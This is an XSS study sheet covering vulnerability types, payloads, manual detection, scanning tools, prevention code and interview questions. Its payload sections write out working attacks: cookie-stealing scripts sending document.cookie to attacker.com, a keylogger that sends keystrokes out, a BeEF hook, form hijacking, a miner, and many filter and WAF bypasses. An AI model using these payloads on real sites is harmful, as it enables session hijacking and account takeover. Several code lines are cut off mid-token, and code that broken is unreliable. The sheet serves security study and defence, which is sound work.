Cross-Site Scripting (XSS) Vulnerability Study Sheet

Table of Contents

Definition

Cross-Site Scripting (XSS) is a client-side code injection attack where malicious scripts are injected into trusted websites. XSS occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to execute scripts in the victim's browser.

Impact

- Session hijacking (cookie theft)
- Account takeover
- Phishing attacks
- Defacement
- Keylogging
- Redirection to malicious sites
- Cryptocurrency mining

OWASP Top 10 Ranking

XSS is part of **A03:2021 – Injection** in the OWASP Top 10 2021.

Vulnerability Categories

1. Reflected XSS (Non-Persistent)

Description: Malicious script is reflected off the web server via URL parameters, form data, or HTTP headers.

Characteristics:

- Payload delivered through crafted URLs
- Requires social engineering to exploit
- Immediate execution upon clicking malicious link
- Not stored on server

Common Locations:

- Search parameters
- Error messages
- Form fields
- HTTP headers (User-Agent, Referer)

2. Stored XSS (Persistent)

Description: Malicious script is permanently stored on the target server (database, files, etc.) and served to users.

Characteristics:

- Payload stored in application database
- Executes when vulnerable page is accessed
- Affects multiple users

- Higher impact than reflected XSS

Common Locations:

- User profiles
- Comment sections
- Forum posts
- File uploads
- Contact forms

3. DOM-based XSS

Description: Vulnerability exists in client-side code rather than server-side. The payload modifies the DOM environment in the victim's browser.

Characteristics:

- Entirely client-side
- Server never sees the payload
- Uses JavaScript to dynamically update page content
- Often involves URL fragments (#)

Common Sinks:

- `document.write()`
- `innerHTML`
- `outerHTML`
- `eval()`
- `setTimeout()`
- `setInterval()`

4. Mutation XSS (mXSS)

Description: Occurs when user input is mutated by the browser's HTML parser, creating XSS where none existed before.

Characteristics:

- Browser parser changes the structure
- Bypasses XSS filters
- Often involves nested tags
- HTML5 parser behavior differences

5. Self-XSS

Description: Requires the victim to execute the payload themselves, often through social engineering.

Characteristics:

- Victim must paste/execute payload
- Often used in social media scams
- Lower risk but still dangerous
- Exploits user trust

Example Payloads

Basic Payloads

```javascript
// Basic alert box
<script>alert('XSS')</script>

// Alternative syntax
<script>alert("XSS")</script>
<script>alert(`XSS`)</script>

// Shorter version
<script>alert(1)</script>

// Using confirm instead of alert
<script>confirm('XSS')</script>
```

```
// Using prompt
<script>prompt('XSS')</script>
```

Cookie Stealing Payloads

javascript

```
// Basic cookie theft
<script>document.location='http://attacker.com/steal.php?c='+docu

// Using fetch API
<script>fetch('http://attacker.com/steal.php?c='+document.cookie)

// Using XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal.php?c=' + document.coo
xhr.send();
</script>

// Using Image object
<script>new Image().src='http://attacker.com/steal.php?c='+docume
```

Filter Bypass Payloads

javascript

```
// Case variation
<ScRiPt>alert(1)</ScRiPt>

// Using different tags
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>

// HTML entities
&lt;script&gt;alert(1)&lt;/script&gt;
```

```
// Unicode encoding
<script>alert('\u0058\u0053\u0053')</script>

// Hex encoding
<script>alert('\x58\x53\x53')</script>

// Without quotes
<script>alert(String.fromCharCode(88,83,83))</script>

// Template literals
<script>alert`1`</script>

// Using eval
<script>eval('alert(1)')</script>
```

Event Handler Payloads

javascript

```
// Mouse events
<div onmouseover="alert(1)">Hover me</div>
<button onclick="alert(1)">Click me</button>

// Focus events
<input onfocus="alert(1)" autofocus>
<select onfocus="alert(1)" autofocus><option>

// Form events
<form onsubmit="alert(1)"><input type=submit>
<input oninput="alert(1)">

// Load events
<body onload="alert(1)">
<iframe onload="alert(1)" src="about:blank">

// Error events
<img src=x onerror="alert(1)">
<video src=x onerror="alert(1)">
<audio src=x onerror="alert(1)">
```

DOM-based XSS Payloads

javascript

```javascript
// URL fragment based
http://vulnerable-site.com/#<script>alert(1)</script>

// Using innerHTML sink
<script>document.getElementById('div1').innerHTML = location.hash

// Using document.write sink
<script>document.write(location.search.substring(1))</script>

// Using eval sink
<script>eval(location.hash.slice(1))</script>
```

Advanced Payloads

javascript

```javascript
// BeEF Hook
<script src="http://attacker.com:3000/hook.js"></script>

// Keylogger
<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/log.php?key=' + String.fromCharCod
}
</script>

// Form hijacking
<script>
document.forms[0].action = 'http://attacker.com/steal.php';
</script>

// Session riding
<script>
fetch('/admin/delete-user?id=123', {
    method: 'POST',
```

```
    credentials: 'include'
});
</script>

// Cryptocurrency mining
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('your-site-key');
miner.start();
</script>
```

WAF Bypass Payloads

javascript

```
// Using comments
<script>/**/alert(1)</script>

// Line breaks
<script>
alert(1)
</script>

// Tabs and spaces
<script >alert(1)</script >

// Null bytes (sometimes works)
<script>alert(1)</script>

// Using different protocols
<iframe src="data:text/html,<script>alert(1)</script>">
<iframe src="javascript:alert(1)">

// Base64 encoding
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaX

// Using XML
<svg><script>alert(1)</script></svg>
```

Manual Detection Methods

1. Input Field Testing

```bash
# Basic reflection test
<script>alert('XSS_TEST')</script>

# Test all form fields
- Text inputs
- Textarea fields
- Hidden inputs
- File upload fields
- Search boxes
```

2. URL Parameter Testing

```bash
# GET parameters
http://target.com/page?param=<script>alert(1)</script>

# Fragment identifier
http://target.com/page#<script>alert(1)</script>

# Multiple parameters
http://target.com/page?p1=test&p2=<script>alert(1)</script>
```

3. HTTP Header Testing

```bash
# User-Agent header
User-Agent: <script>alert(1)</script>

# Referer header
```

```
Referer: <script>alert(1)</script>

# X-Forwarded-For
X-Forwarded-For: <script>alert(1)</script>

# Custom headers
X-Custom-Header: <script>alert(1)</script>
```

4. Cookie Testing

bash

```
# Set malicious cookie
document.cookie = "test=<script>alert(1)</script>";

# Test cookie reflection in pages
```

5. File Upload Testing

bash

```
# Upload HTML file with XSS
filename: test.html
content: <script>alert(1)</script>

# Upload image with XSS in metadata
# Test SVG uploads with embedded scripts
```

6. DOM Sink Testing

javascript

```
// Test common DOM sinks
- Search for document.write()
- Check innerHTML assignments
- Look for eval() usage
```

```
- Test setTimeout/setInterval
- Check for location.hash usage
```

7. Context Analysis

```bash
# Determine injection context:
1. HTML context: <tag>USER_INPUT</tag>
2. Attribute context: <tag attr="USER_INPUT">
3. JavaScript context: <script>var x = 'USER_INPUT';</script>
4. CSS context: <style>body { background: USER_INPUT; }</style>
5. URL context: <a href="USER_INPUT">
```

8. Filter Bypass Testing

```bash
# Test various encodings
- HTML entities: &lt; &gt; &quot; &#39;
- URL encoding: %3C %3E %22 %27
- Double encoding: %253C %253E
- Unicode: \u003c \u003e

# Test different payloads
- Alternative tags: <img>, <svg>, <iframe>
- Event handlers: onload, onerror, onclick
- JavaScript: eval(), setTimeout(), Function()
```

Recommended Tools

1. Browser Extensions

XSS Hunter Express

- **GitHub**: https://github.com/mandatoryprogrammer/xsshunter-express

- **Purpose**: Automated XSS payload generation and testing
- **Features**: Blind XSS detection, payload customization

Hack-Tools

- **GitHub**: https://github.com/LasCC/Hack-Tools
- **Purpose**: Collection of web security tools including XSS payloads
- **Features**: Ready-to-use payloads, encoding/decoding

2. Command Line Tools

XSStrike

- **GitHub**: https://github.com/s0md3v/XSStrike
- **Purpose**: Advanced XSS detection suite
- **Features**: Intelligent payload generation, WAF bypass, DOM XSS detection

```bash
python3 xsstrike.py -u "http://target.com/search?q=query"
```

XSSer

- **GitHub**: https://github.com/epsylon/xsser
- **Purpose**: Automatic framework for detecting XSS vulnerabilities
- **Features**: Multiple injection techniques, report generation

```bash
python3 xsser.py --url "http://target.com/search?q=XSS"
```

Dalfox

- **GitHub**: https://github.com/hahwul/dalfox
- **Purpose**: Fast, powerful XSS scanner and parameter analyzer
- **Features**: Pipeline scanning, custom payloads, blind XSS

```bash
dalfox url http://target.com/search?q=FUZZ
```

Gxss

- **GitHub**: https://github.com/KathanP19/Gxss
- **Purpose**: Tool to check multiple URLs for XSS vulnerabilities
- **Features**: Mass scanning, GET parameter testing

```bash
echo "http://target.com/search?q=FUZZ" | gxss -c 100
```

3. Proxy Tools

Burp Suite Community

- **Website**: https://portswigger.net/burp/communitydownload
- **Purpose**: Web application security testing
- **Features**: Intruder for payload testing, Repeater for manual testing

OWASP ZAP

- **GitHub**: https://github.com/zaproxy/zaproxy
- **Purpose**: Free web application security scanner
- **Features**: Active/passive XSS scanning, fuzzing

```bash
zap.sh -cmd -quickurl http://target.com
```

4. Specialized XSS Tools

XSS'OR

- **GitHub**: https://github.com/evilcos/xssor2
- **Purpose**: XSS payload encoder and generator
- **Features**: Multiple encoding methods, filter bypass

XSSHunter

- **GitHub**: https://github.com/mandatoryprogrammer/xsshunter
- **Purpose**: Blind XSS detection platform
- **Features**: Payload hosting, victim notification

Xenotix XSS Exploit Framework

- **GitHub**: https://github.com/ajinabraham/Xenotix-XSS-Exploit-Framework
- **Purpose**: Advanced XSS vulnerability scanner
- **Features**: 5000+ XSS payloads, zero false positive

XSpear

- **GitHub**: https://github.com/hahwul/XSpear
- **Purpose**: Powerful XSS scanning and parameter analysis tool
- **Features**: Blind XSS, custom headers, cookie testing

```bash
XSpear -u "http://target.com/search?q=test" --cookie "session=val
```

5. Payload Generators

PayloadsAllTheThings

- **GitHub**: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
- **Purpose**: Comprehensive payload collection
- **Features**: Filter bypasses, polyglots, context-specific payloads

SecLists

- **GitHub**: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/XSS
- **Purpose**: Security testing wordlists
- **Features**: XSS fuzzing lists, injection strings

6. DOM XSS Specific Tools

DOMPurify

- **GitHub**: https://github.com/cure53/DOMPurify
- **Purpose**: DOM-only XSS sanitizer (also useful for testing)
- **Features**: HTML sanitization testing

DOM Invader (Built into Burp Suite)

- **Purpose**: DOM XSS detection in browser
- **Features**: Source and sink identification, canary injection

---

Prevention Techniques

1. Input Validation

```javascript
// Whitelist approach
function validateInput(input) {
    const allowedPattern = /^[a-zA-Z0-9\s]+$/;
    return allowedPattern.test(input);
}

// Length restrictions
function limitInput(input, maxLength = 100) {
    return input.slice(0, maxLength);
}
```

2. Output Encoding

javascript

```javascript
// HTML entity encoding
function htmlEncode(str) {
    return str.replace(/[&<>"']/g, function(match) {
        const escapeMap = {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#39;'
        };
        return escapeMap[match];
    });
}

// JavaScript encoding
function jsEncode(str) {
    return str.replace(/['"\\\/\b\f\n\r\t]/g, function(match) {
        const escapeMap = {
            '"': '\\"',
            "'": "\\'",
            '\\': '\\\\',
            '/': '\\/',
            '\b': '\\b',
            '\f': '\\f',
            '\n': '\\n',
            '\r': '\\r',
            '\t': '\\t'
        };
        return escapeMap[match];
    });
}
```

3. Content Security Policy (CSP)

html

```
<!-- Basic CSP header -->
<meta http-equiv="Content-Security-Policy" content="default-src '

<!-- Strict CSP -->
<meta http-equiv="Content-Security-Policy" content="default-src '
```

4. HTTPOnly Cookies

```javascript
// Set HTTPOnly flag
document.cookie = "sessionid=abc123; HttpOnly; Secure; SameSite=S
```

5. X-XSS-Protection Header

```html
<!-- Enable XSS protection -->
<meta http-equiv="X-XSS-Protection" content="1; mode=block">
```

Interview Questions

Basic Questions

1. **What is XSS and how does it work?**
2. **What are the three main types of XSS?**
3. **What's the difference between reflected and stored XSS?**
4. **How would you prevent XSS vulnerabilities?**
5. **What is the Same-Origin Policy and how does it relate to XSS?**

Intermediate Questions

1. **Explain DOM-based XSS and provide an example.**
2. **What is Content Security Policy and how does it prevent XSS?**
3. **How would you bypass a basic XSS filter?**
4. **What are XSS sinks and sources in DOM-based XSS?**
5. **Explain the concept of mutation XSS (mXSS).**

Advanced Questions

1. **How would you exploit XSS in a modern SPA (Single Page Application)?**
2. **Explain blind XSS and how you would detect it.**
3. **What are polyglot payloads and when would you use them?**
4. **How does XSS differ in mobile web applications?**
5. **Explain the security implications of postMessage XSS.**

Practical Questions

1. **You find a reflected XSS but the WAF blocks `<script>` tags. How do you proceed?**
2. **How would you chain XSS with other vulnerabilities for maximum impact?**
3. **Describe your methodology for testing a web application for XSS.**
4. **How would you write a proof-of-concept for a stored XSS vulnerability?**

Risk Assessment Matrix

XSS Type	Likelihood	Impact	Overall Risk
Stored XSS	High	High	Critical
Reflected XSS	Medium	Medium	High
DOM-based XSS	Medium	Medium	High
Self-XSS	Low	Low	Low

XSS Type	Likelihood	Impact	Overall Risk
Mutation XSS	Low	High	Medium

Additional Resources

Documentation

- **OWASP XSS Prevention Cheat Sheet**: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- **OWASP DOM Based XSS Prevention**: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
- **Mozilla CSP Documentation**: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

Training Platforms

- **PortSwigger Web Security Academy**: https://portswigger.net/web-security/cross-site-scripting
- **HackTheBox**: https://www.hackthebox.com/
- **TryHackMe**: https://tryhackme.com/

Bug Bounty Reports

- **HackerOne XSS Reports**: Search for disclosed XSS reports
- **Bugcrowd XSS Writeups**: Public vulnerability disclosures

---

This study sheet is designed for educational purposes. Always obtain proper authorization before testing for vulnerabilities.